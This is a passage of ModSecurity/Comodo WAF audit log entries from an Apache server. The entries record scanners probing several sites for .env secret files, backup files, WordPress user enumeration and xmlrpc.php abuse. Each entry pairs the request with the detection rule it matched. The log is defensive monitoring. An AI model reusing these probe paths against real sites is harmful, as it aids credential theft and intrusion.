"5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8k-SCwfN5GtQhYhHBHJAAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017273537974 936326 (- - -) Stopwatch2: 1750017273537974 936326; combined=2375, p1=353, p2=1613, p3=41, p4=68, p5=185, sr=93, sw=115, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b1228316-Z-- --a65bc141-A-- [16/Jun/2025:01:25:34.431972 +0530] aE8lNT6fDirgE_qJvgHM3AAAAAA 128.199.112.101 33888 127.0.0.1 7081 --a65bc141-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 496 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --a65bc141-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --a65bc141-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8lNT6fDirgE_qJvgHM3AAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017333499294 932734 (- - -) Stopwatch2: 1750017333499294 932734; combined=2057, p1=376, p2=1315, p3=42, p4=53, p5=171, sr=92, sw=100, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a65bc141-Z-- --b0a9d74f-A-- [16/Jun/2025:01:25:37.134822 +0530] aE8lOD3D4g1mGjVnV5KJvAAAAAY 185.177.72.210 34044 127.0.0.1 7081 --b0a9d74f-B-- GET /.env_バックアップ HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b0a9d74f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1d74efdc2c1ed300db5a9badfed2574f1750017336; expires=Sun, 15 Jun 2025 20:55:36 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b0a9d74f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env_\\\\xe3\\\\x83\\\\x90\\\\xe3\\\\x83\\\\x83\\\\xe3\\\\x82\\\\xaf\\\\xe3\\\\x82\\\\xa2\\\\xe3\\\\x83\\\\x83\\\\xe3\\\\x83\\\\x97"] [unique_id "aE8lOD3D4g1mGjVnV5KJvAAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017336453878 681008 (- - -) Stopwatch2: 1750017336453878 681008; combined=2124, p1=463, p2=1565, p3=0, p4=0, p5=95, sr=106, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b0a9d74f-Z-- --f2ab5572-A-- [16/Jun/2025:01:25:39.390962 +0530] aE8lOofvqn7_SDWw_wX5HQAAAAc 185.177.72.210 34132 127.0.0.1 7081 --f2ab5572-B-- GET /:8888/prod/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f2ab5572-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=204f99114271ca04c6a167f2d3ff901a1750017339; expires=Sun, 15 Jun 2025 20:55:39 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f2ab5572-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/prod/.env"] [unique_id "aE8lOofvqn7_SDWw_wX5HQAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017338656867 734169 (- - -) Stopwatch2: 1750017338656867 734169; combined=1714, p1=359, p2=1254, p3=0, p4=0, p5=100, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f2ab5572-Z-- --872d735a-A-- [16/Jun/2025:01:25:54.099046 +0530] aE8lSYfvqn7_SDWw_wX5KgAAAAc 185.177.72.210 41020 127.0.0.1 7081 --872d735a-B-- GET /.backup HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --872d735a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6939dbba857f81297ca6c0f2b9d70a4f1750017353; expires=Sun, 15 Jun 2025 20:55:53 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --872d735a-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/.backup"] [unique_id "aE8lSYfvqn7_SDWw_wX5KgAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017353396763 702347 (- - -) Stopwatch2: 1750017353396763 702347; combined=1793, p1=301, p2=1400, p3=0, p4=0, p5=92, sr=84, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --872d735a-Z-- --10d35c40-A-- [16/Jun/2025:01:26:04.323174 +0530] aE8lUzwutQMQaeKIpO_PcwAAAAg 185.177.72.210 45530 127.0.0.1 7081 --10d35c40-B-- GET /index.inc HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --10d35c40-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e99a9c4df59c7bf1c5945f42fa581f2d1750017364; expires=Sun, 15 Jun 2025 20:56:04 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --10d35c40-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/index.inc"] [unique_id "aE8lUzwutQMQaeKIpO_PcwAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017363632046 691200 (- - -) Stopwatch2: 1750017363632046 691200; combined=1996, p1=332, p2=1578, p3=0, p4=0, p5=85, sr=88, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --10d35c40-Z-- --a5f3bb44-A-- [16/Jun/2025:01:26:19.291308 +0530] aE8lYjwutQMQaeKIpO_PegAAAAg 146.70.194.254 59906 127.0.0.1 7081 --a5f3bb44-B-- GET //wp-json/wp/v2/users/ HTTP/1.0 Host: www.rsda.in X-Real-IP: 146.70.194.254 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 --a5f3bb44-F-- HTTP/1.1 200 OK X-Powered-By: PHP/7.4.33 X-Robots-Tag: noindex Link: <https://www.rsda.in/wp-json/>; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type X-WP-Total: 1 X-WP-TotalPages: 1 Allow: GET Vary: Origin Connection: close Content-Type: application/json; charset=UTF-8 --a5f3bb44-H-- Message: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.rsda.in|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.rsda.in|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "www.rsda.in"] [uri "/wp-json/wp/v2/users/"] [unique_id "aE8lYjwutQMQaeKIpO_PegAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/rsda.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017378991948 299432 (- - -) Stopwatch2: 1750017378991948 299432; combined=1959, p1=378, p2=1482, p3=0, p4=0, p5=98, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a5f3bb44-Z-- --02680c32-A-- [16/Jun/2025:01:26:21.763963 +0530] aE8lZZX34joZXY0ssV2u5QAAAAM 146.70.194.254 50058 127.0.0.1 7081 --02680c32-B-- POST //xmlrpc.php HTTP/1.0 Host: www.rsda.in X-Real-IP: 146.70.194.254 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 486 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --02680c32-F-- HTTP/1.1 200 OK X-Powered-By: PHP/7.4.33 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --02680c32-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 146.70.194.254 (+1 hits since last alert)|www.rsda.in|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 146.70.194.254 (+1 hits since last alert)|www.rsda.in|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "www.rsda.in"] [uri "/xmlrpc.php"] [unique_id "aE8lZZX34joZXY0ssV2u5QAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/rsda.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017381457925 306094 (- - -) Stopwatch2: 1750017381457925 306094; combined=2208, p1=348, p2=1508, p3=50, p4=50, p5=159, sr=90, sw=93, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --02680c32-Z-- --79b4450f-A-- [16/Jun/2025:01:26:35.092147 +0530] aE8lcl2YlG5AqHgt0_KmrgAAAAQ 128.199.112.101 34134 127.0.0.1 7081 --79b4450f-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 496 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --79b4450f-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --79b4450f-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8lcl2YlG5AqHgt0_KmrgAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017394116740 975487 (- - -) Stopwatch2: 1750017394116740 975487; combined=2253, p1=354, p2=1435, p3=52, p4=68, p5=217, sr=96, sw=127, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --79b4450f-Z-- --1cc19c7e-A-- [16/Jun/2025:01:27:16.341531 +0530] aE8lmzwutQMQaeKIpO_PqQAAAAg 185.177.72.210 45350 127.0.0.1 7081 --1cc19c7e-B-- GET /php.lnk HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1cc19c7e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f5863a2f0b5f36d49a809659e5057db61750017436; expires=Sun, 15 Jun 2025 20:57:16 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1cc19c7e-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".lnk"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".lnk"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/php.lnk"] [unique_id "aE8lmzwutQMQaeKIpO_PqQAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017435679090 662589 (- - -) Stopwatch2: 1750017435679090 662589; combined=1697, p1=295, p2=1290, p3=0, p4=0, p5=111, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1cc19c7e-Z-- --a416df7e-A-- [16/Jun/2025:01:27:35.930517 +0530] aE8lrjwutQMQaeKIpO_PsgAAAAg 128.199.112.101 50630 127.0.0.1 7081 --a416df7e-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --a416df7e-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --a416df7e-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8lrjwutQMQaeKIpO_PsgAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017454942756 987818 (- - -) Stopwatch2: 1750017454942756 987818; combined=2192, p1=392, p2=1361, p3=50, p4=71, p5=194, sr=119, sw=124, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a416df7e-Z-- --ed6b5478-A-- [16/Jun/2025:01:27:41.465207 +0530] aE8ltCCwfN5GtQhYhHBHjgAAAAw 185.177.72.210 38860 127.0.0.1 7081 --ed6b5478-B-- GET /:5601/.env.2 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ed6b5478-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2488e54c94544b4f14053d3d7bd27b9c1750017461; expires=Sun, 15 Jun 2025 20:57:41 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ed6b5478-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/.env.2"] [unique_id "aE8ltCCwfN5GtQhYhHBHjgAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017460759971 705302 (- - -) Stopwatch2: 1750017460759971 705302; combined=1889, p1=397, p2=1399, p3=0, p4=0, p5=93, sr=85, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ed6b5478-Z-- --522e117b-A-- [16/Jun/2025:01:27:48.224104 +0530] aE8lu12YlG5AqHgt0_Km3AAAAAQ 185.177.72.210 39108 127.0.0.1 7081 --522e117b-B-- GET /mentorg-lava-docker/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --522e117b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8e6910b2fb4a6db15f82734c76c3856e1750017468; expires=Sun, 15 Jun 2025 20:57:48 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --522e117b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/mentorg-lava-docker/.env"] [unique_id "aE8lu12YlG5AqHgt0_Km3AAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017467546576 677617 (- - -) Stopwatch2: 1750017467546576 677617; combined=2286, p1=493, p2=1683, p3=0, p4=0, p5=110, sr=114, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --522e117b-Z-- --f9d4bf01-A-- [16/Jun/2025:01:27:59.594471 +0530] aE8lxj6fDirgE_qJvgHNOAAAAAA 185.177.72.210 33522 127.0.0.1 7081 --f9d4bf01-B-- GET /src/renderer/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f9d4bf01-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=289408c7f893eafe67ce51365acb90ac1750017479; expires=Sun, 15 Jun 2025 20:57:59 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f9d4bf01-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/src/renderer/.env"] [unique_id "aE8lxj6fDirgE_qJvgHNOAAAAAA"] Apache-Handler: 